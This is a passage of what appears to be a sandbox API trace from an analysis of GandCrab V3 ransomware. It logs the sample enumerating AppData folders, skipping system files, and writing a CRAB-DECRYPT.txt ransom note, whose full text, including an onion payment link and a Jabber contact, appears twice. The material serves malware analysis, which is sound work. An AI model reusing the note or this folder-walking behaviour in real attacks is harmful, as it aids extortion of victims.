	[0112.722] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.722] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\CRAB-DECRYPT.txt") returned 99
	[0112.722] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\CRAB-DECRYPT.txt") returned 99
	[0112.722] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.722] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.722] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.722] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.722] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.722] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.722] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.722] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.722] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.722] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.722] FindNextFileW (in: hFindFile=0xda4660, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0112.723] FindClose (in: hFindFile=0xda4660 | out: hFindFile=0xda4660) returned 1
	[0112.723] FindNextFileW (in: hFindFile=0xda4be0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.723] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.723] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.723] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRAB-DECRYPT.txt"
	[0112.723] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.723] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRAB-DECRYPT.txt") returned 86
	[0112.723] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRAB-DECRYPT.txt") returned 86
	[0112.723] lstrlenW (lpString=".txt") returned 4
	[0112.723] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.723] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0112.723] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.723] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRAB-DECRYPT.txt") returned 86
	[0112.723] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRAB-DECRYPT.txt") returned 86
	[0112.723] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.723] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.723] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.724] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.724] FindNextFileW (in: hFindFile=0xda4be0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.724] lstrcmpW (lpString1="CRLs", lpString2=".") returned 1
	[0112.724] lstrcmpW (lpString1="CRLs", lpString2="..") returned 1
	[0112.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="CRLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs"
	[0112.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\"
	[0112.724] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.724] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.724] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.724] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.724] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.724] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.724] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0112.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.725] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0112.725] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.725] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.725] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.725] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\\\CRAB-DECRYPT.txt") returned 92
	[0112.725] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0112.725] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.725] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0112.726] CloseHandle (hObject=0x3f8) returned 1
	[0112.726] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\") returned 75
	[0112.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*"
	[0112.726] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xda4920
	[0112.727] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.727] FindNextFileW (in: hFindFile=0xda4920, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0112.727] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.727] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.727] FindNextFileW (in: hFindFile=0xda4920, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0112.727] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.727] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.727] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\CRAB-DECRYPT.txt"
	[0112.727] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.727] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\CRAB-DECRYPT.txt") returned 91
	[0112.727] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\CRAB-DECRYPT.txt") returned 91
	[0112.727] lstrlenW (lpString=".txt") returned 4
	[0112.727] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.727] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0112.727] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.727] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\CRAB-DECRYPT.txt") returned 91
	[0112.727] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\CRAB-DECRYPT.txt") returned 91
	[0112.727] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.727] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.727] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.727] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.728] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.728] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.728] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.728] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.728] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.728] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.728] FindNextFileW (in: hFindFile=0xda4920, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0112.728] FindClose (in: hFindFile=0xda4920 | out: hFindFile=0xda4920) returned 1
	[0112.728] FindNextFileW (in: hFindFile=0xda4be0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.728] lstrcmpW (lpString1="CTLs", lpString2=".") returned 1
	[0112.728] lstrcmpW (lpString1="CTLs", lpString2="..") returned 1
	[0112.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="CTLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs"
	[0112.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\"
	[0112.728] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.728] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.729] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0112.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.729] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.729] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0112.729] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.729] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.729] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.729] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\\\CRAB-DECRYPT.txt") returned 92
	[0112.729] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0112.730] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.730] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0112.730] CloseHandle (hObject=0x3f8) returned 1
	[0112.731] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.731] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\") returned 75
	[0112.731] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*"
	[0112.731] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xda4b20
	[0112.731] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.731] FindNextFileW (in: hFindFile=0xda4b20, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0112.731] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.731] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.731] FindNextFileW (in: hFindFile=0xda4b20, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0112.731] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.731] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.731] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\CRAB-DECRYPT.txt"
	[0112.731] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.731] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\CRAB-DECRYPT.txt") returned 91
	[0112.731] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\CRAB-DECRYPT.txt") returned 91
	[0112.731] lstrlenW (lpString=".txt") returned 4
	[0112.731] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.732] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0112.732] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\CRAB-DECRYPT.txt") returned 91
	[0112.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\CRAB-DECRYPT.txt") returned 91
	[0112.732] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.732] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.732] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.732] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.732] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.732] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.732] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.732] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.732] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.732] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.732] FindNextFileW (in: hFindFile=0xda4b20, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0112.732] FindClose (in: hFindFile=0xda4b20 | out: hFindFile=0xda4b20) returned 1
	[0112.732] FindNextFileW (in: hFindFile=0xda4be0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0112.732] FindClose (in: hFindFile=0xda4be0 | out: hFindFile=0xda4be0) returned 1
	[0112.733] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0112.733] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0112.733] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0112.733] lstrcmpW (lpString1="Templates", lpString2=".") returned 1
	[0112.733] lstrcmpW (lpString1="Templates", lpString2="..") returned 1
	[0112.733] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates"
	[0112.733] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\"
	[0112.733] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.733] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0112.733] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.733] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
